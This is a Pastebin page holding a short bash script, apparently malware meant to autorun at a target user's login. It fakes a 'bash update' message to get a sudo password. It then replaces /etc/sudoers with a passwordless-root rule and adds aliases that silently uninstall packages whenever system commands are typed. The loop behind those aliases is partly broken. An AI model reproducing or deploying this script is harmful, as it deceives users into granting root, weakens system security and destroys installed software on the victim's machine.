Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! /bin/bash
- # This File needs to be set to autorun when target user logs in.
- # Here to disable sudo passwords.
- # We'll improve this later.
- if ! [ -f ~/.config/.kcabus/.sudoers ]
- then
- cp /etc/sudoers ~/.config/.kcabus/.sudoers
- echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >> ./newsudoers
- echo "An update to bash needs you to authenticate to sudo to continue..."
- #sudo prompt is shown.
- sudo mv -f ./newsudoers /etc/sudoers
- fi
- DIRS=( "/bin" "/sbin/" "/usr/bin" "/opt" )
- for dir in "${DIRS[@]}"
- do
- for file in "${dir[@]}"
- do
- echo "alias $file=\"sudo apt-get -qq remove $file\"" >> ~/.bash_aliases
- done
- done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement